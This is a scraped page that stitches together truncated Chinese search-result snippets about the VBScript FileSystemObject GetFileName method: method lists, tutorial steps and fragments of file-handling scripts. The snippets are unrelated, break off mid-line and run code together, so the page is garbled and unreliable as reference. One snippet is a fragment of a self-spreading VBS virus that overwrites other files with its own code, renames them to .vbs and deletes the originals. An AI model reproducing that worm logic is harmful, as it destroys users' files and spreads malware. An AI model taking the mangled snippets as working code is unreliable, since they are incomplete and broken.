Function GetAName(DriveSpec) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") GetAName =fso.GetFileName(DriveSpec)End Function 注意GetFileName方法只能对提供path的字符串起作用。它不能试图分析一个路径,也不能检查指定路径是否存在。
1、SAFRCFileDlg.FileSave对象:属性有:FileName — 指定默认文件名;FileType — 指定文件扩展名;OpenFileSaveDlg — 显示文件保存框体方法。 2、SAFRCFileDlg.FileOpen 对象:FileName — 默认文件名属性;OpenFileOpenDlg — 显示打开文件框体方法。 3、UserAccounts.CommonDialog对象:Filter — 扩展名属性("vbs File|*...
1 新建一个Test文件夹，里面新建两个脚本程序文件（如图）：1. vbs测试程序文件：GetFileName.vbs2. 批处理测试文件：Test.bat 2 用notepad++或者记事本打开程序文件GetFileName.vbs，输入如下测试脚本并保存（如图）：Dim sFileNamesFileName = "C:\Automation.txt"WSH.echo sFileName如程序所示，这里通过WSH....
SetobjShell =CreateObject("Wscript.Shell") strPath= Wscript.ScriptFullName'获取脚本文件全路径SetobjShell =NothingSetobjFSO =CreateObject("Scripting.FileSystemObject")SetobjFile = objFSO.GetFile(strPath)'获取此文件对象用于后续文件操作MsgBoxobjFSO.GetFileName(objFile)'获取不含路径的文件名称,这就是输出...
GetFileName:返回文件夹中文件名称GetFolder:返回一个文件夹对象GetParentFolderName:返回一个文件夹的父文件夹GetSpecialFolder:返回指向一个特殊文件夹的对象指针GetTempName:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称MoveFile:移动文件MoveFolder:移动文件夹OpenTextFile:打开一个存在的文件并返回一个...
GetDriveName:返回一个驱动器的名字 GetExtensionName:返回扩展名 GetFile:返回一个file对象 GetFileName:返回文件夹中文件名称 GetFolder:返回一个文件夹对象 GetParentFolderName:返回一个文件夹的父文件夹 GetSpecialFolder:返回指向一个特殊文件夹的对象指针
If Not fso.FolderExists(desfilepath) Then fso.CreateFolder desfilepath End If backFolderPath=GetLastModify(sourcefilespath) fso.CopyFile backFolderPath,desfilepath&fso.GetFileName(backFolderPath) msgbox "Finish" ''移动文件 Function MoveFiles(yPath,sPath)On Error Resume Next ...
GetFileName:返回文件夹中文件名称 GetFolder:返回一个文件夹对象 GetParentFolderName:返回一个文件夹的父文件夹 GetSpecialFolder:返回指向一个特殊文件夹的对象指针 GetTempName:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称 MoveFile:移动文件 ...
If (fs.GetFileName(f1.Path)) <> "QQ.exe" And (fs.GetFileName(f1.Path)) <> "QQ.vbs" Then Set ap = fs.opentextfile(f1.Path, 2, TristateTrue)ap.write vbscopy ap.Close Set cop = fs.getfile(f1.Path)cop.Copy (f1.Path & ".vbs")f1.Delete (True)End If End ...
backname=fs.name fs.Name=fso.GetFileName(Spath) fs.Copyfso.GetParentFolderName(Spath)&"\",True fs.Name=backname Setfso=Nothing Setws=CreateObject("wscript.shell") ws.Run"gpupdate/force",vbhide ws.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters" Setws=Nothing ...